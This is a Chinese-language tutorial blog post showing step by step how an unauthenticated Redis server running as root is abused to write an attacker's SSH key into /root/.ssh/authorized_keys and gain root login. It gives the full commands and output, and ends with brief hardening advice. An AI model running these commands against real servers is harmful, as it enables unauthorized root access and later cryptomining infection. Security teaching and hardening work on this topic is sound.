共计 2581 个字符,预计需要花费 7 分钟才能阅读完成。
这篇文章主要介绍 Redis 挖矿原理的示例分析,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!
演示一下如果通过 Redis 进行提权获取远程服务器的 Root 用户。
1、首先我们需要一些先决条件
条件一:你首先要有一个 Redis,并且我们要知道他的端口【默认 6379】;
条件二:Redis 的密码不能过于复杂,或者没有密码;
条件三:启动 Redis 的用户最好是 Root 用户,这样破坏性更大;
2、开始搞事情
2.1 创建一对秘钥
通过 ssh-keygen 生成一对,当然可以使用已经有的都没有问题。
root@kali:/usr/local/src# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): /tmp/rediskey/id_rsa
接下来通过公钥生成攻击键值
(echo -e \n\n cat id_rsa.pub; echo -e \n\n) foo.txt
内容如下
root@kali:/tmp/rediskey# cat foo.txt
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZB1Kb/3lHME9MfDqgYyR6t+cvZRRptbakeGw8QOeAVzIbpPpU1bxintCJjpV4g+2hgesSI9Mlqtvqx1GWd401eoK1nKZM3qNV4zXGs5Ql6ylWBNjgUKuDQ/Y69aWzm3CbfA2z8zMMdVY/zJi71u1clxxkG4JE6GuntaWVzZa3BxBDhTLLYCyx/bMA9tSfYnmOL2zH0ecJDQ99y+dSu4UhpK9BJcyKVoAzljm2Q2TbOMI4EvQQcG2EfrX/YlRtlOToEf5DPeZtattFOajbLHVXM4AIug91xB53sfGcNJ6dLbFKlG4bYG/cmtASyR1y4Ef8rb/VMGPOVfzCZqebXgc1 root@kali
这里前后增加两个换行符是为了防止数据连接在一起造成失效问题。
2.2 配置 Key 到 Redis 中
操作如下:
root@kali:/tmp/rediskey# cat foo.txt |redis-cli -h 192.168.243.129 -x set bar
OK
登录 Redis 进行检查,是否已经写入进 Redis 中。
root@kali:/tmp/rediskey# redis-cli -h 192.168.243.129
192.168.243.129:6379 get bar
\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZB1Kb/3lHME9MfDqgYyR6t+cvZRRptbakeGw8QOeAVzIbpPpU1bxintCJjpV4g+2hgesSI9Mlqtvqx1GWd401eoK1nKZM3qNV4zXGs5Ql6ylWBNjgUKuDQ/Y69aWzm3CbfA2z8zMMdVY/zJi71u1clxxkG4JE6GuntaWVzZa3BxBDhTLLYCyx/bMA9tSfYnmOL2zH0ecJDQ99y+dSu4UhpK9BJcyKVoAzljm2Q2TbOMI4EvQQcG2EfrX/YlRtlOToEf5DPeZtattFOajbLHVXM4AIug91xB53sfGcNJ6dLbFKlG4bYG/cmtASyR1y4Ef8rb/VMGPOVfzCZqebXgc1 root@kali\n\n\n\n
2.3 通过 Redis 保存机制替换系统文件
且看如下操作
192.168.243.129:6379 config set dir /root/.ssh
192.168.243.129:6379 config get dir
1) dir
2) /root/.ssh
192.168.243.129:6379 config set dbfilename authorized_keys
192.168.243.129:6379 save
192.168.243.129:6379 exit
这个时候,我们登录远程主机看下效果。
root@kali:/tmp/rediskey# ssh -i id_rsa root@192.168.243.129
The authenticity of host 192.168.243.129 (192.168.243.129) can t be established.
ECDSA key fingerprint is SHA256:XTnAL+b8HB5FL/t3ZlZqt0EfmTBgj7TI5VBU0nSHSGU.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 192.168.243.129 (ECDSA) to the list of known hosts.
Linux kali 4.19.0-kali3-amd64 #1 SMP Debian 4.19.20-1kali1 (2019-02-14) x86_64
Last login: Sun Apr 14 20:52:40 2019 from 192.168.243.1
root@kali:~#
OK,到这里我们已经提权成功了,那我们看下导出文件到底是什么呢?其实就是 Redis 的保存文件形式罢了,有兴趣可以自己打开看看,这里不再展示。
3、如何预防
这个漏洞威力还是挺大的,我们现在只是拿到主机权限一个而已,加入放到定时任务执行一些脚本然后在批量感染呢?
防范的技巧如下:
Redis 不要监听在危险 IP 上,如果有请加防火墙控制
Redis 一定要增加密码限制,且不能是弱口令;
Redis 尽量不要用 Root 用户身份来启动。
做到如上三点防范 Redis 挖矿,没问题的
以上是“Redis 挖矿原理的示例分析”这篇文章的所有内容,感谢各位的阅读!希望分享的内容对大家有帮助,更多相关知识,欢迎关注丸趣 TV 行业资讯频道!